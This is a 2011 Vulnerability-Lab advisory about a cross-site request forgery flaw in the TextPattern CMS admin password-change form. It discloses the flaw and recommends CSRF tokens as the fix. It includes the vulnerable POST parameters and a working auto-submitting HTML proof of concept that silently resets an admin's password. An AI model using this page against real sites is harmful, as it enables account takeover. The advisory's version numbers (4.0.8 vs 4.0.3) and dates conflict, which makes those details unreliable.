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TextPattern v4.0.8 - Cross Site Request Forgery Vulnerability
🗓️ 07 Jun 2011 00:00:00Reported by N/A - AnonymousType 
vulnerlab🔗 www.vulnerability-lab.com👁 14 Views
Document Title:
===============
TextPattern v4.0.8 - Cross Site Request Forgery Vulnerability
Release Date:
=============
2011-06-07
Vulnerability Laboratory ID (VL-ID):
====================================
11
Product & Service Introduction:
===============================
The Many Reasons to use Textpattern. With a browser-based interface in over 40 languages, excellent support and full range
of features, it s no wonder that publishers, designers and developers everywhere choose Textpattern.
(Copy of the Vendor Homepage: http://textpattern.com/)
Abstract Advisory Information:
==============================
An anonymous researcher discovered a Cross-Site-Request-Forgery vulnerability on the TextPattern web application.
Vulnerability Disclosure Timeline:
==================================
2011-06-08: Discovery by Vulnerability-Lab
Discovery Status:
=================
Published
Affected Product(s):
====================
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Low
Technical Details & Description:
================================
A Cross Site Request Forgery vulnerability is detected on TextPattern 4.0.3. A not protected POST form request allows an attacker
to change via required user inter-action application(admin) passwords. When successfully exploited by a auth user/admin account
the vulnerability can lead to unauthorized access(Admin-Panel).
Path: /textpattern/
Files: index.php
--- POST ---
new_pass=[new password]&mail_password=0&change_pass=Absenden&event=admin&step=change_pass
Proof of Concept (PoC):
=======================
<html>
<body onLoad="javascript:document.form.submit()">
<form action="http://localhost/textpattern/textpattern/index.php" method="POST" name="form">
<input type="hidden" name="new_pass" value="123">
<input type="hidden" name="mail_password" value="0">
<input type="hidden" name="event" value="admin">
<input type="hidden" name="change_pass" value="x">
<input type="hidden" name="step" value="change_pass">
</form>
</body>
</html>
Solution - Fix & Patch:
=======================
Use form tokens to prevent against csrf attacks with user inter-action. (csrf token)
Security Risk:
==============
The security risk of the vulnerability is estimated as low because of high required user inter action & the client-side force.
Credits & Authors:
==================
N/A - Anonymous
Disclaimer & Information:
=========================
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07 Jun 2011 00:00Current
0.4Low risk
Vulners AI Score0.4